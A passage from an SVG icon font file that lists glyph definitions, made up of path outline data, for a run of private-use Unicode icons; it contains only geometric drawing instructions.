q36 0 51 14q9 8 13.5 21.5t8.5 36t5 26.5q2 9 20 69t31 107t13 58q0 22 -43.5 52.5t-75.5 42.5q-20 8 -45 8q-34 0 -98 -18q-57 -17 -96.5 -40.5t-71 -66t-46 -70t-45.5 -94.5q-6 -12 -9 -19q-49 -107 -68 -216t-19 -244t19 -244t68 -216q56 -122 83 -161q63 -91 179 -127
l6 -2q64 -18 98 -18q25 0 45 8q32 12 75.5 42.5t43.5 52.5zM776 760q-26 0 -45 19t-19 45.5t19 45.5q37 37 37 90q0 52 -37 91q-19 19 -19 45t19 45t45 19t45 -19q75 -75 75 -181t-75 -181q-21 -19 -45 -19zM957 579q-27 0 -45 19q-19 19 -19 45t19 45q112 114 112 272
t-112 272q-19 19 -19 45t19 45t45 19t45 -19q150 -150 150 -362t-150 -362q-18 -19 -45 -19zM1138 398q-27 0 -45 19q-19 19 -19 45t19 45q90 91 138.5 208t48.5 245t-48.5 245t-138.5 208q-19 19 -19 45t19 45t45 19t45 -19q109 -109 167 -249t58 -294t-58 -294t-167 -249
q-18 -19 -45 -19z" />
    <glyph glyph-name="uniF2A1" unicode="&#xf2a1;" horiz-adv-x="2176" 
d="M192 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 352
q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 864
q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 1376q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 192q0 -80 -56 -136
t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 1216q0 -80 -56 -136t-136 -56
t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 192q0 -80 -56 -136t-136 -56t-136 56
t-56 136t56 136t136 56t136 -56t56 -136zM1664 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136
t56 136t136 56t136 -56t56 -136zM2176 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="uniF2A2" unicode="&#xf2a2;" horiz-adv-x="1792" 
d="M128 -192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM320 0q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM365 365l256 -256l-90 -90l-256 256zM704 384q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45z
M1411 704q0 -59 -11.5 -108.5t-37.5 -93.5t-44 -67.5t-53 -64.5q-31 -35 -45.5 -54t-33.5 -50t-26.5 -64t-7.5 -74q0 -159 -112.5 -271.5t-271.5 -112.5q-26 0 -45 19t-19 45t19 45t45 19q106 0 181 75t75 181q0 57 11.5 105.5t37 91t43.5 66.5t52 63q40 46 59.5 72
t37.5 74.5t18 103.5q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM896 576q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45
t45 19t45 -19t19 -45zM1184 704q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 93 -65.5 158.5t-158.5 65.5q-92 0 -158 -65.5t-66 -158.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 146 103 249t249 103t249 -103t103 -249zM1578 993q10 -25 -1 -49t-36 -34q-9 -4 -23 -4
q-19 0 -35.5 11t-23.5 30q-68 178 -224 295q-21 16 -25 42t12 47q17 21 43 25t47 -12q183 -137 266 -351zM1788 1074q9 -25 -1.5 -49t-35.5 -34q-11 -4 -23 -4q-44 0 -60 41q-92 238 -297 393q-22 16 -25.5 42t12.5 47q16 22 42 25.5t47 -12.5q235 -175 341 -449z" />
    <glyph glyph-name="uniF2A3" unicode="&#xf2a3;" horiz-adv-x="2304" 
d="M1032 576q-59 2 -84 55q-17 34 -48 53.5t-68 19.5q-53 0 -90.5 -37.5t-37.5 -90.5q0 -56 36 -89l10 -8q34 -31 82 -31q37 0 68 19.5t48 53.5q25 53 84 55zM1600 704q0 56 -36 89l-10 8q-34 31 -82 31q-37 0 -68 -19.5t-48 -53.5q-25 -53 -84 -55q59 -2 84 -55
q17 -34 48 -53.5t68 -19.5q53 0 90.5 37.5t37.5 90.5zM1174 925q-17 -35 -55 -48t-73 4q-62 31 -134 31q-51 0 -99 -17q3 0 9.5 0.5t9.5 0.5q92 0 170.5 -50t118.5 -133q17 -36 3.5 -73.5t-49.5 -54.5q-18 -9 -39 -9q21 0 39 -9q36 -17 49.5 -54.5t-3.5 -73.5
q-40 -83 -118.5 -133t-170.5 -50h-6q-16 2 -44 4l-290 27l-239 -120q-14 -7 -29 -7q-40 0 -57 35l-160 320q-11 23 -4 47.5t29 37.5l209 119l148 267q17 155 91.5 291.5t195.5 236.5q31 25 70.5 21.5t64.5 -34.5t21.5 -70t-34.5 -65q-70 -59 -117 -128q123 84 267 101
q40 5 71.5 -19t35.5 -64q5 -40 -19 -71.5t-64 -35.5q-84 -10 -159 -55q46 10 99 10q115 0 218 -50q36 -18 49 -55.5t-5 -73.5zM2137 1085l160 -320q11 -23 4 -47.5t-29 -37.5l-209 -119l-148 -267q-17 -155 -91.5 -291.5t-195.5 -236.5q-26 -22 -61 -22q-45 0 -74 35
q-25 31 -21.5 70t34.5 65q70 59 117 128q-123 -84 -267 -101q-4 -1 -12 -1q-36 0 -63.5 24t-31.5 60q-5 40 19 71.5t64 35.5q84 10 159 55q-46 -10 -99 -10q-115 0 -218 50q-36 18 -49 55.5t5 73.5q17 35 55 48t73 -4q62 -31 134 -31q51 0 99 17q-3 0 -9.5 -0.5t-9.5 -0.5
q-92 0 -170.5 50t-118.5 133q-17 36 -3.5 73.5t49.5 54.5q18 9 39 9q-21 0 -39 9q-36 17 -49.5 54.5t3.5 73.5q40 83 118.5 133t170.5 50h6h1q14 -2 42 -4l291 -27l239 120q14 7 29 7q40 0 57 -35z" />
    <glyph glyph-name="uniF2A4" unicode="&#xf2a4;" horiz-adv-x="1792" 
d="M1056 704q0 -26 19 -45t45 -19t45 19t19 45q0 146 -103 249t-249 103t-249 -103t-103 -249q0 -26 19 -45t45 -19t45 19t19 45q0 93 66 158.5t158 65.5t158 -65.5t66 -158.5zM835 1280q-117 0 -223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5q0 -26 19 -45t45 -19t45 19
t19 45q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -55 -18 -103.5t-37.5 -74.5t-59.5 -72q-34 -39 -52 -63t-43.5 -66.5t-37 -91t-11.5 -105.5q0 -106 -75 -181t-181 -75q-26 0 -45 -19t-19 -45t19 -45t45 -19q159 0 271.5 112.5t112.5 271.5q0 41 7.5 74
t26.5 64t33.5 50t45.5 54q35 41 53 64.5t44 67.5t37.5 93.5t11.5 108.5q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5zM591 561l226 -226l-579 -579q-12 -12 -29 -12t-29 12l-168 168q-12 12 -12 29t12 29zM1612 1524l168 -168q12 -12 12 -29t-12 -30l-233 -233
l-26 -25l-71 -71q-66 153 -195 258l91 91l207 207q13 12 30 12t29 -12z" />
    <glyph glyph-name="uniF2A5" unicode="&#xf2a5;" 
d="M866 1021q0 -27 -13 -94q-11 -50 -31.5 -150t-30.5 -150q-2 -11 -4.5 -12.5t-13.5 -2.5q-20 -2 -31 -2q-58 0 -84 49.5t-26 113.5q0 88 35 174t103 124q28 14 51 14q28 0 36.5 -16.5t8.5 -47.5zM1352 597q0 14 -39 75.5t-52 66.5q-21 8 -34 8q-91 0 -226 -77l-2 2
q3 22 27.5 135t24.5 178q0 233 -242 233q-24 0 -68 -6q-94 -17 -168.5 -89.5t-111.5 -166.5t-37 -189q0 -146 80.5 -225t227.5 -79q25 0 25 -3t-1 -5q-4 -34 -26 -117q-14 -52 -51.5 -101t-82.5 -49q-42 0 -42 47q0 24 10.5 47.5t25 39.5t29.5 28.5t26 20t11 8.5q0 3 -7 10
q-24 22 -58.5 36.5t-65.5 14.5q-35 0 -63.5 -34t-41 -75t-12.5 -75q0 -88 51.5 -142t138.5 -54q82 0 155 53t117.5 126t65.5 153q6 22 15.5 66.5t14.5 66.5q3 12 14 18q118 60 227 60q48 0 127 -18q1 -1 4 -1q5 0 9.5 4.5t4.5 8.5zM1536 1120v-960q0 -119 -84.5 -203.5
t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF2A6" unicode="&#xf2a6;" horiz-adv-x="1535" 
d="M744 1231q0 24 -2 38.5t-8.5 30t-21 23t-37.5 7.5q-39 0 -78 -23q-105 -58 -159 -190.5t-54 -269.5q0 -44 8.5 -85.5t26.5 -80.5t52.5 -62.5t81.5 -23.5q4 0 18 -0.5t20 0t16 3t15 8.5t7 16q16 77 48 231.5t48 231.5q19 91 19 146zM1498 575q0 -7 -7.5 -13.5t-15.5 -6.5
l-6 1q-22 3 -62 11t-72 12.5t-63 4.5q-167 0 -351 -93q-15 -8 -21 -27q-10 -36 -24.5 -105.5t-22.5 -100.5q-23 -91 -70 -179.5t-112.5 -164.5t-154.5 -123t-185 -47q-135 0 -214.5 83.5t-79.5 219.5q0 53 19.5 117t63 116.5t97.5 52.5q38 0 120 -33.5t83 -61.5
q0 -1 -16.5 -12.5t-39.5 -31t-46 -44.5t-39 -61t-16 -74q0 -33 16.5 -53t48.5 -20q45 0 85 31.5t66.5 78t48 105.5t32.5 107t16 90v9q0 2 -3.5 3.5t-8.5 1.5h-10t-10 -0.5t-6 -0.5q-227 0 -352 122.5t-125 348.5q0 108 34.5 221t96 210t156 167.5t204.5 89.5q52 9 106 9
q374 0 374 -360q0 -98 -38 -273t-43 -211l3 -3q101 57 182.5 88t167.5 31q22 0 53 -13q19 -7 80 -102.5t61 -116.5z" />
    <glyph glyph-name="uniF2A7" unicode="&#xf2a7;" horiz-adv-x="1664" 
d="M831 863q32 0 59 -18l222 -148q61 -40 110 -97l146 -170q40 -46 29 -106l-72 -413q-6 -32 -29.5 -53.5t-55.5 -25.5l-527 -56l-352 -32h-9q-39 0 -67.5 28t-28.5 68q0 37 27 64t65 32l260 32h-448q-41 0 -69.5 30t-26.5 71q2 39 32 65t69 26l442 1l-521 64q-41 5 -66 37
t-19 73q6 35 34.5 57.5t65.5 22.5h10l481 -60l-351 94q-38 10 -62 41.5t-18 68.5q6 36 33 58.5t62 22.5q6 0 20 -2l448 -96l217 -37q1 0 3 -0.5t3 -0.5q23 0 30.5 23t-12.5 36l-186 125q-35 23 -42 63.5t18 73.5q27 38 76 38zM761 661l186 -125l-218 37l-5 2l-36 38
l-238 262q-1 1 -2.5 3.5t-2.5 3.5q-24 31 -18.5 70t37.5 64q31 23 68 17.5t64 -33.5l142 -147q-2 -1 -5 -3.5t-4 -4.5q-32 -45 -23 -99t55 -85zM1648 1115l15 -266q4 -73 -11 -147l-48 -219q-12 -59 -67 -87l-106 -54q2 62 -39 109l-146 170q-53 61 -117 103l-222 148
q-34 23 -76 23q-51 0 -88 -37l-235 312q-25 33 -18 73.5t41 63.5q33 22 71.5 14t62.5 -40l266 -352l-262 455q-21 35 -10.5 75t47.5 59q35 18 72.5 6t57.5 -46l241 -420l-136 337q-15 35 -4.5 74t44.5 56q37 19 76 6t56 -51l193 -415l101 -196q8 -15 23 -17.5t27 7.5t11 26
l-12 224q-2 41 26 71t69 31q39 0 67 -28.5t30 -67.5z" />
    <glyph glyph-name="uniF2A8" unicode="&#xf2a8;" horiz-adv-x="1792" 
d="M335 180q-2 0 -6 2q-86 57 -168.5 145t-139.5 180q-21 30 -21 69q0 9 2 19t4 18t7 18t8.5 16t10.5 17t10 15t12 15.5t11 14.5q184 251 452 365q-110 198 -110 211q0 19 17 29q116 64 128 64q18 0 28 -16l124 -229q92 19 192 19q266 0 497.5 -137.5t378.5 -369.5
q20 -31 20 -69t-20 -69q-91 -142 -218.5 -253.5t-278.5 -175.5q110 -198 110 -211q0 -20 -17 -29q-116 -64 -127 -64q-19 0 -29 16l-124 229l-64 119l-444 820l7 7q-58 -24 -99 -47q3 -5 127 -234t243 -449t119 -223q0 -7 -9 -9q-13 -3 -72 -3q-57 0 -60 7l-456 841
q-39 -28 -82 -68q24 -43 214 -393.5t190 -354.5q0 -10 -11 -10q-14 0 -82.5 22t-72.5 28l-106 197l-224 413q-44 -53 -78 -106q2 -3 18 -25t23 -34l176 -327q0 -10 -10 -10zM1165 282l49 -91q273 111 450 385q-180 277 -459 389q67 -64 103 -148.5t36 -176.5
q0 -106 -47 -200.5t-132 -157.5zM848 896q0 -20 14 -34t34 -14q86 0 147 -61t61 -147q0 -20 14 -34t34 -14t34 14t14 34q0 126 -89 215t-215 89q-20 0 -34 -14t-14 -34zM1214 961l-9 4l7 -7z" />
    <glyph glyph-name="uniF2A9" unicode="&#xf2a9;" horiz-adv-x="1280" 
d="M1050 430q0 -215 -147 -374q-148 -161 -378 -161q-232 0 -378 161q-147 159 -147 374q0 147 68 270.5t189 196.5t268 73q96 0 182 -31q-32 -62 -39 -126q-66 28 -143 28q-167 0 -280.5 -123t-113.5 -291q0 -170 112.5 -288.5t281.5 -118.5t281 118.5t112 288.5
q0 89 -32 166q66 13 123 49q41 -98 41 -212zM846 619q0 -192 -79.5 -345t-238.5 -253l-14 -1q-29 0 -62 5q83 32 146.5 102.5t99.5 154.5t58.5 189t30 192.5t7.5 178.5q0 69 -3 103q55 -160 55 -326zM791 947v-2q-73 214 -206 440q88 -59 142.5 -186.5t63.5 -251.5z
M1035 744q-83 0 -160 75q218 120 290 247q19 37 21 56q-42 -94 -139.5 -166.5t-204.5 -97.5q-35 54 -35 113q0 37 17 79t43 68q46 44 157 74q59 16 106 58.5t74 100.5q74 -105 74 -253q0 -109 -24 -170q-32 -77 -88.5 -130.5t-130.5 -53.5z" />
    <glyph glyph-name="uniF2AA" unicode="&#xf2aa;" 
d="M1050 495q0 78 -28 147q-41 -25 -85 -34q22 -50 22 -114q0 -117 -77 -198.5t-193 -81.5t-193.5 81.5t-77.5 198.5q0 115 78 199.5t193 84.5q53 0 98 -19q4 43 27 87q-60 21 -125 21q-154 0 -257.5 -108.5t-103.5 -263.5t103.5 -261t257.5 -106t257.5 106.5t103.5 260.5z
M872 850q2 -24 2 -71q0 -63 -5 -123t-20.5 -132.5t-40.5 -130t-68.5 -106t-100.5 -70.5q21 -3 42 -3h10q219 139 219 411q0 116 -38 225zM872 850q-4 80 -44 171.5t-98 130.5q92 -156 142 -302zM1207 955q0 102 -51 174q-41 -86 -124 -109q-69 -19 -109 -53.5t-40 -99.5
q0 -40 24 -77q74 17 140.5 67t95.5 115q-4 -52 -74.5 -111.5t-138.5 -97.5q52 -52 110 -52q51 0 90 37t60 90q17 42 17 117zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="uniF2AB" unicode="&#xf2ab;" 
d="M1279 388q0 22 -22 27q-67 15 -118 59t-80 108q-7 19 -7 25q0 15 19.5 26t43 17t43 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-12 0 -32 -8t-31 -8q-4 0 -12 2q5 95 5 114q0 79 -17 114q-36 78 -103 121.5t-152 43.5q-199 0 -275 -165q-17 -35 -17 -114q0 -19 5 -114
q-4 -2 -14 -2q-12 0 -32 7.5t-30 7.5q-21 0 -38.5 -12t-17.5 -32q0 -21 19.5 -35.5t43 -20.5t43 -17t19.5 -26q0 -6 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -46 137 -68q2 -5 6 -26t11.5 -30.5t23.5 -9.5q12 0 37.5 4.5t39.5 4.5q35 0 67 -15t54 -32.5t57.5 -32.5
t76.5 -15q43 0 79 15t57.5 32.5t53.5 32.5t67 15q14 0 39.5 -4t38.5 -4q16 0 23 10t11 30t6 25q137 22 137 68zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="uniF2AC" unicode="&#xf2ac;" horiz-adv-x="1664" 
d="M848 1408q134 1 240.5 -68.5t163.5 -192.5q27 -58 27 -179q0 -47 -9 -191q14 -7 28 -7q18 0 51 13.5t51 13.5q29 0 56 -18t27 -46q0 -32 -31.5 -54t-69 -31.5t-69 -29t-31.5 -47.5q0 -15 12 -43q37 -82 102.5 -150t144.5 -101q28 -12 80 -23q28 -6 28 -35
q0 -70 -219 -103q-7 -11 -11 -39t-14 -46.5t-33 -18.5q-20 0 -62 6.5t-64 6.5q-37 0 -62 -5q-32 -5 -63 -22.5t-58 -38t-58 -40.5t-76 -33.5t-99 -13.5q-52 0 -96.5 13.5t-75 33.5t-57.5 40.5t-58 38t-62 22.5q-26 5 -63 5q-24 0 -65.5 -7.5t-58.5 -7.5q-25 0 -35 18.5
t-14 47.5t-11 40q-219 33 -219 103q0 29 28 35q52 11 80 23q78 32 144.5 101t102.5 150q12 28 12 43q0 28 -31.5 47.5t-69.5 29.5t-69.5 31.5t-31.5 52.5q0 27 26 45.5t55 18.5q15 0 48 -13t53 -13q18 0 32 7q-9 142 -9 190q0 122 27 180q64 137 172 198t264 63z" />
    <glyph glyph-name="uniF2AD" unicode="&#xf2ad;" 
d="M1280 388q0 22 -22 27q-67 14 -118 58t-80 109q-7 14 -7 25q0 15 19.5 26t42.5 17t42.5 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-11 0 -31 -8t-32 -8q-4 0 -12 2q5 63 5 115q0 78 -17 114q-36 78 -102.5 121.5t-152.5 43.5q-198 0 -275 -165q-18 -38 -18 -115
q0 -38 6 -114q-10 -2 -15 -2q-11 0 -31.5 8t-30.5 8q-20 0 -37.5 -12.5t-17.5 -32.5q0 -21 19.5 -35.5t42.5 -20.5t42.5 -17t19.5 -26q0 -11 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -47 138 -69q2 -5 6 -26t11 -30.5t23 -9.5q13 0 38.5 5t38.5 5q35 0 67.5 -15
t54.5 -32.5t57.5 -32.5t76.5 -15q43 0 79 15t57.5 32.5t54 32.5t67.5 15q13 0 39 -4.5t39 -4.5q15 0 22.5 9.5t11.5 31t5 24.5q138 22 138 69zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960
q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF2AE" unicode="&#xf2ae;" horiz-adv-x="2304" 
d="M2304 1536q-69 -46 -125 -92t-89 -81t-59.5 -71.5t-37.5 -57.5t-22 -44.5t-14 -29.5q-10 -18 -35.5 -136.5t-48.5 -164.5q-15 -29 -50 -60.5t-67.5 -50.5t-72.5 -41t-48 -28q-47 -31 -151 -231q-341 14 -630 -158q-92 -53 -303 -179q47 16 86 31t55 22l15 7
q71 27 163 64.5t133.5 53.5t108 34.5t142.5 31.5q186 31 465 -7q1 0 10 -3q11 -6 14 -17t-3 -22l-194 -345q-15 -29 -47 -22q-128 24 -354 24q-146 0 -402 -44.5t-392 -46.5q-82 -1 -149 13t-107 37t-61 40t-33 34l-1 1v2q0 6 6 6q138 0 371 55q192 366 374.5 524t383.5 158
q5 0 14.5 -0.5t38 -5t55 -12t61.5 -24.5t63 -39.5t54 -59t40 -82.5l102 177q2 4 21 42.5t44.5 86.5t61 109.5t84 133.5t100.5 137q66 82 128 141.5t121.5 96.5t92.5 53.5t88 39.5z" />
    <glyph glyph-name="uniF2B0" unicode="&#xf2b0;" 
d="M1322 640q0 -45 -5 -76l-236 14l224 -78q-19 -73 -58 -141l-214 103l177 -158q-44 -61 -107 -108l-157 178l103 -215q-61 -37 -140 -59l-79 228l14 -240q-38 -6 -76 -6t-76 6l14 238l-78 -226q-74 19 -140 59l103 215l-157 -178q-59 43 -108 108l178 158l-214 -104
q-39 69 -58 141l224 79l-237 -14q-5 42 -5 76q0 35 5 77l238 -14l-225 79q19 73 58 140l214 -104l-177 159q46 61 107 108l158 -178l-103 215q67 39 140 58l77 -224l-13 236q36 6 75 6q38 0 76 -6l-14 -237l78 225q74 -19 140 -59l-103 -214l158 178q61 -47 107 -108
l-177 -159l213 104q37 -62 58 -141l-224 -78l237 14q5 -31 5 -77zM1352 640q0 160 -78.5 295.5t-213 214t-292.5 78.5q-119 0 -227 -46.5t-186.5 -125t-124.5 -187.5t-46 -229q0 -119 46 -228t124.5 -187.5t186.5 -125t227 -46.5q158 0 292.5 78.5t213 214t78.5 294.5z
M1425 1023v-766l-657 -383l-657 383v766l657 383zM768 -183l708 412v823l-708 411l-708 -411v-823zM1536 1088v-896l-768 -448l-768 448v896l768 448z" />
    <glyph glyph-name="uniF2B1" unicode="&#xf2b1;" horiz-adv-x="1664" 
d="M339 1318h691l-26 -72h-665q-110 0 -188.5 -79t-78.5 -189v-771q0 -95 60.5 -169.5t153.5 -93.5q23 -5 98 -5v-72h-45q-140 0 -239.5 100t-99.5 240v771q0 140 99.5 240t239.5 100zM1190 1536h247l-482 -1294q-23 -61 -40.5 -103.5t-45 -98t-54 -93.5t-64.5 -78.5
t-79.5 -65t-95.5 -41t-116 -18.5v195q163 26 220 182q20 52 20 105q0 54 -20 106l-285 733h228l187 -585zM1664 978v-1111h-795q37 55 45 73h678v1038q0 85 -49.5 155t-129.5 99l25 67q101 -34 163.5 -123.5t62.5 -197.5z" />
    <glyph glyph-name="uniF2B2" unicode="&#xf2b2;" horiz-adv-x="1792" 
d="M852 1227q0 -29 -17 -52.5t-45 -23.5t-45 23.5t-17 52.5t17 52.5t45 23.5t45 -23.5t17 -52.5zM688 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50 -21.5t-20 -51.5v-114q0 -30 20.5 -52t49.5 -22q30 0 50.5 22t20.5 52zM860 -149v114q0 30 -20 51.5t-50 21.5t-50.5 -21.5
t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22q29 0 49.5 22t20.5 52zM1034 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1208 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114
q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1476 535q-84 -160 -232 -259.5t-323 -99.5q-123 0 -229.5 51.5t-178.5 137t-113 197.5t-41 232q0 88 21 174q-104 -175 -104 -390q0 -162 65 -312t185 -251q30 57 91 57q56 0 86 -50q32 50 87 50q56 0 86 -50q32 50 87 50t87 -50
q30 50 86 50q28 0 52.5 -15.5t37.5 -40.5q112 94 177 231.5t73 287.5zM1326 564q0 75 -72 75q-17 0 -47 -6q-95 -19 -149 -19q-226 0 -226 243q0 86 30 204q-83 -127 -83 -275q0 -150 89 -260.5t235 -110.5q111 0 210 70q13 48 13 79zM884 1223q0 50 -32 89.5t-81 39.5
t-81 -39.5t-32 -89.5q0 -51 31.5 -90.5t81.5 -39.5t81.5 39.5t31.5 90.5zM1513 884q0 96 -37.5 179t-113 137t-173.5 54q-77 0 -149 -35t-127 -94q-48 -159 -48 -268q0 -104 45.5 -157t147.5 -53q53 0 142 19q36 6 53 6q51 0 77.5 -28t26.5 -80q0 -26 -4 -46
q75 68 117.5 165.5t42.5 200.5zM1792 667q0 -111 -33.5 -249.5t-93.5 -204.5q-58 -64 -195 -142.5t-228 -104.5l-4 -1v-114q0 -43 -29.5 -75t-72.5 -32q-56 0 -86 50q-32 -50 -87 -50t-87 50q-30 -50 -86 -50q-55 0 -87 50q-30 -50 -86 -50q-47 0 -75 33.5t-28 81.5
q-90 -68 -198 -68q-118 0 -211 80q54 1 106 20q-113 31 -182 127q32 -7 71 -7q89 0 164 46q-192 192 -240 306q-24 56 -24 160q0 57 9 125.5t31.5 146.5t55 141t86.5 105t120 42q59 0 81 -52q19 29 42 54q2 3 12 13t13 16q10 15 23 38t25 42t28 39q87 111 211.5 177
t260.5 66q35 0 62 -4q59 64 146 64q83 0 140 -57q5 -5 5 -12q0 -5 -6 -13.5t-12.5 -16t-16 -17l-10.5 -10.5q17 -6 36 -18t19 -24q0 -6 -16 -25q157 -138 197 -378q25 30 60 30q45 0 100 -49q90 -80 90 -279z" />
    <glyph glyph-name="uniF2B3" unicode="&#xf2b3;" 
d="M917 631q0 33 -6 64h-362v-132h217q-12 -76 -74.5 -120.5t-142.5 -44.5q-99 0 -169 71.5t-70 170.5t70 170.5t169 71.5q93 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585h109v110
h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="uniF2B4" unicode="&#xf2b4;" 
d="M1536 1024v-839q0 -48 -49 -62q-174 -52 -338 -52q-73 0 -215.5 29.5t-227.5 29.5q-164 0 -370 -48v-338h-160v1368q-63 25 -101 81t-38 124q0 91 64 155t155 64t155 -64t64 -155q0 -68 -38 -124t-101 -81v-68q190 44 343 44q99 0 198 -15q14 -2 111.5 -22.5t149.5 -20.5
q77 0 165 18q11 2 80 21t89 19q26 0 45 -19t19 -45z" />
    <glyph glyph-name="uniF2B5" unicode="&#xf2b5;" horiz-adv-x="2304" 
d="M192 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32zM1665 442q-10 13 -38.5 50t-41.5 54t-38 49t-42.5 53t-40.5 47t-45 49l-125 -140q-83 -94 -208.5 -92t-205.5 98q-57 69 -56.5 158t58.5 157l177 206q-22 11 -51 16.5t-47.5 6t-56.5 -0.5t-49 -1q-92 0 -158 -66
l-158 -158h-155v-544q5 0 21 0.5t22 0t19.5 -2t20.5 -4.5t17.5 -8.5t18.5 -13.5l297 -292q115 -111 227 -111q78 0 125 47q57 -20 112.5 8t72.5 85q74 -6 127 44q20 18 36 45.5t14 50.5q10 -10 43 -10q43 0 77 21t49.5 53t12 71.5t-30.5 73.5zM1824 384h96v512h-93l-157 180
q-66 76 -169 76h-167q-89 0 -146 -67l-209 -243q-28 -33 -28 -75t27 -75q43 -51 110 -52t111 49l193 218q25 23 53.5 21.5t47 -27t8.5 -56.5q16 -19 56 -63t60 -68q29 -36 82.5 -105.5t64.5 -84.5q52 -66 60 -140zM2112 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32z
M2304 960v-640q0 -26 -19 -45t-45 -19h-434q-27 -65 -82 -106.5t-125 -51.5q-33 -48 -80.5 -81.5t-102.5 -45.5q-42 -53 -104.5 -81.5t-128.5 -24.5q-60 -34 -126 -39.5t-127.5 14t-117 53.5t-103.5 81l-287 282h-358q-26 0 -45 19t-19 45v672q0 26 19 45t45 19h421
q14 14 47 48t47.5 48t44 40t50.5 37.5t51 25.5t62 19.5t68 5.5h117q99 0 181 -56q82 56 181 56h167q35 0 67 -6t56.5 -14.5t51.5 -26.5t44.5 -31t43 -39.5t39 -42t41 -48t41.5 -48.5h355q26 0 45 -19t19 -45z" />
    <glyph glyph-name="uniF2B6" unicode="&#xf2b6;" horiz-adv-x="1792" 
d="M1792 882v-978q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v978q0 15 11 24q8 7 39 34.5t41.5 36t45.5 37.5t70 55.5t96 73t143.5 107t192.5 140.5q5 4 52.5 40t71.5 52.5t64 35t69 18.5t69 -18.5t65 -35.5t71 -52t52 -40q110 -80 192.5 -140.5t143.5 -107
t96 -73t70 -55.5t45.5 -37.5t41.5 -36t39 -34.5q11 -9 11 -24zM1228 297q263 191 345 252q11 8 12.5 20.5t-6.5 23.5l-38 52q-8 11 -21 12.5t-24 -6.5q-231 -169 -343 -250q-5 -3 -52 -39t-71.5 -52.5t-64.5 -35t-69 -18.5t-69 18.5t-64.5 35t-71.5 52.5t-52 39
